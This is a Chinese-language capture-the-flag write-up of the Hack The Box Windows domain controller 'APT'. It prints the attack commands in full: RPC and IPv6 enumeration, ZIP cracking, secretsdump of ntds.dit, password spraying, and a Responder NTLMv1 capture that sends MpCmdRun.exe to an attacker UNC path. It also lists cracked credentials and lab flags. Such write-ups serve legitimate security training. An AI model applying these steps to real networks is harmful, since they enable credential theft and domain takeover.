靶机介绍
靶机名称:APT 来源:Hack The Box 难度:insane(疯狂)
渗透流程
主机探测
通过ICMP协议,可知目标靶机10.10.10.213存活
端口扫描
发现目标开放80和135端口
sudo nmap -sT --min-rate 10000 -p- 10.10.10.213
版本探测
sudo nmap -sT -sC -sV -O -p 80,135 10.10.10.213
可以知道以下信息
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
OS:Windows
IPv4 80端口
访问80端口,查看页面、源代码发现几乎都是静态页面,没有找到可利用的点。
发现一处图片,尝试下载下来分析。
使用exiftool提取元数据,没有找到有价值的东西。
尝试目录目录扫描,发现都是禁止访问的。80端口暂时放弃。
IPv4135端口
查看135端口,跑的是rpc,用rpcclient试试看能否连接,结果无法连接。
rpc服务扫描
使用rpcmap查看所有服务,一共是发现了4个DCOM对象
rpcmap.py ncacn_ip_tcp:10.10.10.213[135]
UUID操作数枚举
通过rpcmap暴力枚举UUID和DCOM的操作数,发现是有两个可用的服务,一个是DCOM,一个是RPCE。
其中UUID为99FCFEC4-5260-101B-BBCB-00AA0021347A的操作数3(ServerAlive)和5(ServerAlive2)是可用的。
网络接口远程枚举漏洞
查找exploit,发现一个网络接口的远程枚举exp
将IP地址改为靶机的IP
成功获取目标的网卡信息,得到一个IPV6的地址。
dead:beef::b885:d62a:d679:573f
IPv6端口扫描
使用nmap重新对IPV6地址进行端口扫描,发现开放端口与IPV4的不一样。
IPv6版本探测
sudo nmap -sT -sC -sV -6 -p 53,80,88,135,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49675,49695,63909 dead:beef::b885:d62a:d679:573f
可以大致知道以下信息
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-25 18:42:11Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Host script results:
|_clock-skew: mean: -8m32s, deviation: 22m39s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: apt
| NetBIOS computer name: APT\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: apt.htb.local
|_ System time: 2023-07-25T19:43:11+01:00
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-07-25T18:43:10
|_ start_date: 2023-07-25T15:57:04
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
大概确定这台机器就是域控,域名htb.local,OS为windows server 2016
smb连接
使用smbclient访问445端口,发现有以下文件文件夹
smbclient -I dead:beef::b885:d62a:d679:573f -p 445 -L //htb.local
敏感文件获取
查看backup,发现一个backup.zip,下载下来。
使用unzip -l backup.zip查看内容,发现ntds.dit
尝试解压,发现要密码。
ZIP密码破解
使用fcrackzip破解密码得到密码iloveyousomuch
secretsdump
使用secretsdump把内容dump下来,发现有8005多行
secretsdump.py -ntds ntds.dit -system /home/kali/registry/SYSTEM LOCAL>../teardrop/user_hash_raw
取出用户账户相关信息
cat user_hash_raw|grep ':::'|sort|uniq>shit
尝试利用evil-winrm连接到域控主机,因为winrm端口开放,但发现哈希无效。
因为我们下载下来的是backup,可能已经被更改过了。
取出用户名
cat shit|awk -F ':' '{print $1}'>users
取出哈希
cat shit|awk -F ':' '{print $3,$4}'|tr ‘ ’ ‘:’>password
kerbrut用户枚举
利用kerberos协议用户枚举漏洞进行用户枚举,正确用户名和不正确用户名返回错误信息不一样,正确密码和错误密码返回的信息也不一样。
这里使用kerbrut工具进行用户枚举,一共发现了3个有效的账户,Administrator和APT$,henry.vinson
密码喷洒
编写脚本使用getTGT来进行密码喷洒,这里不能用crackmapexec,有waf会被ban IP。
为了节省时间这里先只对henry.vinson进行密码喷洒
最后拿到henry.vinson的TGT和hash。
aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb
注册表查询
查询注册表发现有HKU键
明文密码获取
在HKU\\Software\\GiganticHostingManagementSystem发现henry.vinson_adm的
明文密码
G1#Ny5@2dvht
获取初步shell
用evil-winrm连接到域控服务器,账户henry.vinson_adm 密码G1#Ny5@2dvht
获取user.txt
查看目录信息,拿到user flag
a2d27226c7b15dbce371be37b54c689f
权限提升
信息收集
查看用户信息,发现权限比较低。
查看域内用户
敏感文件
在ConsoleHost_history.txt文件里发现了henry.vinson_adm用户的powershell命令执行记录
C:/users/henry.vinson_adm/appdata/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
以下是对命令的解释:
$Cred = get-credential administrator:#这个命令会弹出一个对话框,要求输入管理员的用户名和密码,然后将这些凭据存储在变量$Cred中。
invoke-command -credential $Cred -computername localhost -scriptblock {...}:#这个命令使用前面存储的管理员凭据在本地计算机(localhost)上执行一段脚本。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force:#这是在脚本块中执行的命令。它更改了Windows注册表中的一个设置。具体来说,它更改了"lmcompatibilitylevel"的值,这个值决定了系统对LAN Manager(LM)和NTLM认证的支持级别。这个命令将其设置为2,这意味着系统将使用NTLMv1和LM,但不会使用NTLMv2。
由于NTLM v1的安全级别比较低,可以暴力破解NTLM V1 Hash值,拿到用户Hash。
Reponder欺骗
准备使用responder毒化,截取NTLM V1 HASH,这里修改挑战值,方便使用crack.sh网站来破解。
开启responder监听
sudo python Responder.py -I tun0 --lm
在靶机上运行以下命令,拿到APT$用户的NTLM V1 Hash值。这里是运用了windows defender的mpcmdrun.exe,它可以下载文件和扫描。
.\MpCmdRun.exe -Scan -scantype 3 -File \\10.10.14.22\\noexist
APT$用户的NTLM V1 HASH如下
APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
NTLM V1 HASH破解
使用ntlmv1.py进行分析,再利用crack.sh进行破解拿到APT$用户的hash
d167c323886b12f5f82feae86a7f798
哈希传递
使用secretsdump.py工具通过htb.local/APT$导出密码hash,拿到管理员hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
用evi-winrm工具通过管理员账户和密码hash登录到域控服务器,拿到root flag
564d24840fea6265d63062a77f2468e7
总结
通过rpcmap枚举135端口rpc服务的UUID和操作数,通过nday漏洞远程获取IPv6地址,重新端口扫描,通过开放的smb服务端口拿到backup.zip文件,破解拿到ntds.dit和SYSTEM,利用secretsdump获取用户信息,筛选出有用信息后利用getTGT进行密码喷洒拿到henry.vinson用户的密码hash,但是权限不足或有WAF拿不到shell。通过reg.py查看注册表发现有HKU键,拿到henry.vinson的明文密码,利用evil-winrm拿到初步shell,接收通过搜寻敏感文件发现henry.vinson有通过一个用户的凭据将NTLM的认证方式从V2改成V1,利用responder欺骗拿到APT用户的NTLM V1 HASH值并破解,然后利用secretsdump拿到管理员的哈希,最后用evil-winrm工具登录到域控。